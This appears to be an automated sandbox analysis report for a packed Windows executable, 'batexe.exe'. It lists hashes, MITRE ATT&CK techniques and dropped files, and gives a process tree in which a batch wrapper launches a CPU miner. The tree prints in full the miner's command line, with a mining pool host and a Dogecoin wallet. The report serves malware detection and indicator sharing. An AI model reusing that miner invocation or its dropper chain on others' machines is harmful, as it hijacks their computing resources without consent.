73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
298s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
18/02/2024, 16:15

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
100	b2e.exe
4512	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4512	cpuminer-sse2.exe
4512	cpuminer-sse2.exe
4512	cpuminer-sse2.exe
4512	cpuminer-sse2.exe
4512	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2504-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2504 wrote to memory of 100	2504	batexe.exe	85
PID 2504 wrote to memory of 100	2504	batexe.exe	85
PID 2504 wrote to memory of 100	2504	batexe.exe	85
PID 100 wrote to memory of 2508	100	b2e.exe	86
PID 100 wrote to memory of 2508	100	b2e.exe	86
PID 100 wrote to memory of 2508	100	b2e.exe	86
PID 2508 wrote to memory of 4512	2508	cmd.exe	89
PID 2508 wrote to memory of 4512	2508	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2504
- C:\Users\Admin\AppData\Local\Temp\6F35.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\6F35.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6F35.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:100
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7280.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2508
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4512

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\6F35.tmp\b2e.exe

Filesize
21.4MB

MD5
eb770f4cbbfce39fd277123613b643b4

SHA1
618f8bf9f10d67e13fb990424ca24fdac7b39ff7

SHA256
7cab0208cfb01814b198a5111316df3b67256b4b7d1fec61520cbd9a17b62873

SHA512
2aca7fb514253954312534766f95fe51912bce0a36d4677dee11bfc59b9fecf8a994337be1b813b8a55ebda497a022c2850697b4dfef548822b8768e5970765a

Download Submit
C:\Users\Admin\AppData\Local\Temp\6F35.tmp\b2e.exe

Filesize
9.4MB

MD5
ac71b29deb84b49d507b131ec1f73c10

SHA1
036a35d3b9c1ba6a0220d33dbee020150d8e8a86

SHA256
7616234a45fde4a6d5f5d650bdaa56f41cb0187c7d450600d784ce81f5f18d79

SHA512
7a6d1836c6e95bd4d82e435feb177bec18b5719cea38f6b1ddad474a46977b3193021d668239a7ceed3fc028c15fd37743e58ae4ec6f67e7e602b45231cd94a5

Download Submit
C:\Users\Admin\AppData\Local\Temp\6F35.tmp\b2e.exe

Filesize
8.4MB

MD5
928b696f3abda33723f357f211ff9acf

SHA1
03150db16792538af6bdc0a1929a7eb02fd11a24

SHA256
f4d30cefa9005d27d3f1e93ee9e561e344bdc2a92b7871aab6aae9de5a25ef24

SHA512
1c6828d8f0ea6b75ca2abd43e7bc08956ede0edc3a9066e21c3c9f58393c617c96380752d00b2a2cfdcd3873c61cc6f5200c4641d0faacf5beb61b78b83d601a

Download Submit
C:\Users\Admin\AppData\Local\Temp\7280.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.0MB

MD5
cfd7b718e68959fb45e9b0ab9d4dc2e9

SHA1
48dc2b217a3de4258bd72b8351702b8cf200dba8

SHA256
5a070afb2e207c8af3ab4d7f72ac7f6e307cc67b61f0c4ea14d4b6a5ed28f194

SHA512
9a54433d8d111d1f6848e7efb7cccd711a8664bd31ee95202ca1fbaf8a66e805f263648fff835ab0add3ded5c7724da5049f9302dc69fe28fc2fb48d8c5be912

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.7MB

MD5
6bbc3846e6fa326dc5d4fd0e95838b17

SHA1
08703243a1534b2dd73de27b5892ebc79a72f875

SHA256
aea3146e6b7f45779a9c36b8ec46874a57350322ed9ce6284f9861458ec92444

SHA512
51387c8daac5bf3392afe7950277b50e8d12d5a92029b47182fb95321ab49340fa45d9f0e73bb112eb7f1d4e52ee79d273bab59bc170bb3a2ba9c16bfba05440

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.1MB

MD5
a9685555eee0c982dbcac2e2ed71ee59

SHA1
c7ce2b19cf651ab9e915f5a04900f2c493853d0c

SHA256
a4c14e7469c6b3be0ac02a9e0b8f5d4a6201b548ef5562d684ff49e14195389a

SHA512
0c46a55b0f8716e47ceaf5511c2ca1eb8945b59342c46092fe063908bc4d8c356245e63e533a67f96691d3be7701d304631bc3b290d5d0240fed7cb0e9cf9a3f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/100-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/100-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2504-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4512-47-0x0000000001150000-0x0000000002A05000-memory.dmp

Filesize
24.7MB

Download
memory/4512-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4512-46-0x0000000065110000-0x00000000651A8000-memory.dmp

Filesize
608KB

Download
memory/4512-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4512-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4512-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4512-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4512-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4512-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4512-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4512-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4512-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4512-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download